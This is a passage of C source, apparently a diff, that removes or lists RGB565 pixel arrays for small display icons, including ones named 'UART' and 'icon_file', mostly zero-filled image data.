0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - -const uint16_t UART[576]= { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x40AF,0x58D4,0x50D3,0x388D,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0802,0x48B0,0x50D3,0x50D3,0x50D3,0x50D3,0x50D3,0x58F5,0x48B1,0x1825,0x0000,0x0001,0x2047,0x50D3,0x58D4,0x50D3,0x50D3,0x50D3,0x50D3,0x50D2,0x306B,0x0000,0x0000, -0x0000,0x58F4,0x1846,0x0802,0x0802,0x0802,0x0823,0x60F7,0x1846,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x58D4,0x0802,0x0802,0x0802,0x0802,0x48B0,0x2869,0x0000, -0x0000,0x58F5,0x0000,0x0000,0x0000,0x0000,0x48B0,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x2869,0x0000,0x0000,0x0000,0x1024,0x48B0,0x0000, -0x0000,0x58F5,0x0000,0x0000,0x0000,0x0000,0x58F5,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58F5,0x0000,0x0001,0x0000,0x1024,0x48B0,0x0000, -0x0000,0x58F5,0x0000,0x60F6,0x2068,0x2047,0x388D,0x2048,0x60F7,0x60F6,0x0001,0x60F6,0x2068,0x1023,0x68F7,0x68F7,0x0822,0x58D4,0x2869,0x60F7,0x60F6,0x1025,0x48B0,0x0000, -0x0000,0x58F5,0x286A,0x50D3,0x2869,0x286A,0x286A,0x48B1,0x1023,0x48D1,0x388E,0x50D3,0x2869,0x306B,0x286A,0x306B,0x2869,0x48B1,0x50D2,0x1024,0x48B1,0x2047,0x48B0,0x0000, -0x0000,0x58F5,0x0000,0x306B,0x2869,0x2048,0x388C,0x48B0,0x1846,0x58D4,0x0802,0x306B,0x2869,0x286A,0x388C,0x388E,0x2048,0x50D3,0x48B1,0x1846,0x58D4,0x1846,0x48B0,0x0000, -0x0000,0x58F5,0x1846,0x60F6,0x60F5,0x1845,0x58D4,0x0823,0x58D4,0x388E,0x1846,0x60F6,0x60F5,0x1825,0x50D2,0x48B1,0x0000,0x60F6,0x0823,0x58D4,0x388E,0x1024,0x48B0,0x0000, -0x0000,0x58F5,0x0000,0x0000,0x0000,0x0000,0x50D3,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308B,0x308C,0x0000,0x0000,0x0000,0x1024,0x48B0,0x0000, -0x0000,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0802,0x60F6,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x793B,0x308B,0x0000,0x0000,0x0000,0x2869,0x388D,0x0000, -0x0000,0x2048,0x60F5,0x58F5,0x58F5,0x58F5,0x58F5,0x6918,0x713B,0x308C,0x0001,0x0000,0x0000,0x0802,0x40AF,0x793B,0x2048,0x58F4,0x68F7,0x60F7,0x60F6,0x50D3,0x0001,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x58D4,0x58D4,0x58D4,0x50D2,0x1846,0x0001,0x60F5,0x815E,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x895F,0x793C,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x306B,0x895F,0x895F,0x895F,0x58D4,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x50D3,0x40AF,0x0001,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - -const uint16_t icon_file[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x286A,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x6918,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x895F,0x7119,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x895F,0x895F,0x711A,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x1024,0x895F,0x895F,0x895F,0x793B,0x1024,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x0001,0x388C,0x388C,0x388C,0x388C,0x2048,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x388C,0x388C,0x388C,0x388C,0x388C,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x60F6,0x58F5,0x58F5,0x58F5,0x58F5,0x58F5,0x58F5,0x58F5,0x58F5,0x6918,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x713B,0x0823,0x0802,0x0802,0x0802,0x0802,0x0802,0x0802,0x0802,0x0802,0x1825,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, 